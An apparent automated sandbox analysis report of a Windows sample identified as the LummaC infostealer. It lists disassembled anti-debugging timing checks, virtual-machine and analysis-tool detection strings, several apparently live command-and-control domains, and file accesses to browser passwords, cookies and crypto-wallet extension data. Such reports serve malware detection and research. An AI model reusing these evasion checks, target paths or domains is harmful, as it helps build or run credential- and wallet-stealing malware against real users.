Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 659ADDB second address: 659ADE3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 659ADE3 second address: 659ADEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F7DD0B815D6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 659ADEF second address: 659ADF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 659ADF3 second address: 659ADFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 659E207 second address: 641D971 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F7DD0B81646h 0x00000009 jnp 00007F7DD0B81646h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 xor dword ptr [esp], 6712F9BAh 0x00000019 pushad 0x0000001a add ecx, 00B09A44h 0x00000020 jnp 00007F7DD0B81649h 0x00000026 popad 0x00000027 push dword ptr [ebp+122D0BB9h] 0x0000002d jmp 00007F7DD0B81653h 0x00000032 call dword ptr [ebp+122D20ECh] 0x00000038 pushad 0x00000039 mov dword ptr [ebp+122D20B8h], edx 0x0000003f xor eax, eax 0x00000041 jmp 00007F7DD0B8164Fh 0x00000046 mov edx, dword ptr [esp+28h] 0x0000004a jmp 00007F7DD0B81659h 0x0000004f mov dword ptr [ebp+122D3775h], eax 0x00000055 mov dword ptr [ebp+122D2130h], esi 0x0000005b mov dword ptr [ebp+122D20B8h], edi 0x00000061 mov esi, 0000003Ch 0x00000066 cld 0x00000067 add esi, dword ptr [esp+24h] 0x0000006b xor dword ptr [ebp+122D20B8h], edi 0x00000071 lodsw 0x00000073 mov dword ptr [ebp+122D20E2h], ebx 0x00000079 add eax, dword ptr [esp+24h] 0x0000007d or dword ptr [ebp+122D2EF7h], ebx 0x00000083 mov ebx, dword ptr [esp+24h] 0x00000087 mov dword ptr [ebp+122D20B8h], edx 0x0000008d push eax 0x0000008e pushad 0x0000008f pushad 0x00000090 jbe 00007F7DD0B81646h 0x00000096 push eax 0x00000097 push edx 0x00000098 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 659E416 second address: 659E41F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 659E41F second address: 659E423 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 659E423 second address: 659E4A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 7D2E72D0h 0x0000000e mov si, di 0x00000011 push 00000003h 0x00000013 pushad 0x00000014 jl 00007F7DD0B815D9h 0x0000001a mov di, bx 0x0000001d movzx esi, cx 0x00000020 popad 0x00000021 mov cl, bl 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push ebp 0x00000028 call 00007F7DD0B815D8h 0x0000002d pop ebp 0x0000002e mov dword ptr [esp+04h], ebp 0x00000032 add dword ptr [esp+04h], 0000001Bh 0x0000003a inc ebp 0x0000003b push ebp 0x0000003c ret 0x0000003d pop ebp 0x0000003e ret 0x0000003f mov cx, EAF0h 0x00000043 push 00000003h 0x00000045 push 00000000h 0x00000047 push ebx 0x00000048 call 00007F7DD0B815D8h 0x0000004d pop ebx 0x0000004e mov dword ptr [esp+04h], ebx 0x00000052 add dword ptr [esp+04h], 0000001Ah 0x0000005a inc ebx 0x0000005b push ebx 0x0000005c ret 0x0000005d pop ebx 0x0000005e ret 0x0000005f mov esi, dword ptr [ebp+122D3699h] 0x00000065 push BB2F4A7Ch 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\GxX48twWHA.exe	RDTSC instruction interceptor: First address: 659E4A4 second address: 659E4A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\GxX48twWHA.exe	Special instruction interceptor: First address: D68D59 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Special instruction interceptor: First address: F17C69 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Special instruction interceptor: First address: FABB57 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Special instruction interceptor: First address: 641D92E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Special instruction interceptor: First address: 641D9C6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Special instruction interceptor: First address: 65C52FE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Special instruction interceptor: First address: 65C3D6B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Special instruction interceptor: First address: 65C3940 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Special instruction interceptor: First address: 65CA503 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\GxX48twWHA.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\GxX48twWHA.exe TID: 6544	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe TID: 6524	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe TID: 6504	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe TID: 396	Thread sleep time: -330000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe TID: 6260	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe TID: 6452	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe TID: 6264	Thread sleep time: -34017s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\GxX48twWHA.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: GxX48twWHA.exe, 00000000.00000002.2177485142.00000000065A2000.00000040.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000002.2171701887.0000000000EEE000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: GxX48twWHA.exe, 00000000.00000002.2176292367.0000000005A80000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: GxX48twWHA.exe, 00000000.00000003.1907811909.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1827743494.0000000001336000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2094788467.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000002.2173598246.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804221101.0000000001336000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000002.2173598246.00000000012D9000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1908360271.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2095221305.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1908014684.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1933238541.0000000001331000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: GxX48twWHA.exe, 00000000.00000002.2176292367.0000000005A80000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: GxX48twWHA.exe, 00000000.00000002.2177485142.00000000065A2000.00000040.00000800.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000002.2171701887.0000000000EEE000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: GxX48twWHA.exe, 00000000.00000003.1907811909.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1827743494.0000000001336000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2094788467.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000002.2173598246.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1804221101.0000000001336000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1908360271.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.2095221305.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1908014684.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1933238541.0000000001331000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1992613282.0000000001331000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWbg

Source: C:\Users\user\Desktop\GxX48twWHA.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\GxX48twWHA.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\GxX48twWHA.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\GxX48twWHA.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: NTICE
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: SICE
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\GxX48twWHA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: GxX48twWHA.exe, 00000000.00000003.1738293653.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bashfulacid.lat
Source: GxX48twWHA.exe, 00000000.00000003.1738293653.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: tentabatte.lat
Source: GxX48twWHA.exe, 00000000.00000003.1738293653.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: curverpluch.lat
Source: GxX48twWHA.exe, 00000000.00000003.1738293653.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: talkynicer.lat
Source: GxX48twWHA.exe, 00000000.00000003.1738293653.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: shapestickyr.lat
Source: GxX48twWHA.exe, 00000000.00000003.1738293653.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: manyrestro.lat
Source: GxX48twWHA.exe, 00000000.00000003.1738293653.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: slipperyloo.lat
Source: GxX48twWHA.exe, 00000000.00000003.1738293653.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: wordyfindy.lat
Source: GxX48twWHA.exe, 00000000.00000003.1738293653.0000000004F10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: observerfry.lat

Source: C:\Users\user\Desktop\GxX48twWHA.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=GxX48twWHA.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=GxX48twWHA.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: GxX48twWHA.exe, 00000000.00000002.2172076040.0000000000F35000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Program Manager
Source: GxX48twWHA.exe, 00000000.00000002.2172076040.0000000000F35000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: !Program Manager
Source: GxX48twWHA.exe, 00000000.00000002.2177485142.00000000065A2000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: (aProgram Manager

Source: C:\Users\user\Desktop\GxX48twWHA.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\GxX48twWHA.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: GxX48twWHA.exe, 00000000.00000003.2094965781.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1992769328.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, GxX48twWHA.exe, 00000000.00000003.1933403044.00000000012F3000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\GxX48twWHA.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: GxX48twWHA.exe PID: 6284, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: GxX48twWHA.exe, 00000000.00000003.1907811909.0000000001331000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: GxX48twWHA.exe, 00000000.00000003.1907811909.0000000001331000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: GxX48twWHA.exe, 00000000.00000003.1858516696.0000000005A92000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Jaxx LibertyXuScX<
Source: GxX48twWHA.exe, 00000000.00000003.1907811909.0000000001331000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: GxX48twWHA.exe, 00000000.00000003.1907811909.0000000001331000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: GxX48twWHA.exe, 00000000.00000003.1859004002.0000000005A90000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3:3
Source: GxX48twWHA.exe, 00000000.00000003.1907811909.0000000001331000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: GxX48twWHA.exe, 00000000.00000003.1907751642.0000000001382000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: GxX48twWHA.exe, 00000000.00000003.1907795576.000000000137B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\GxX48twWHA.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
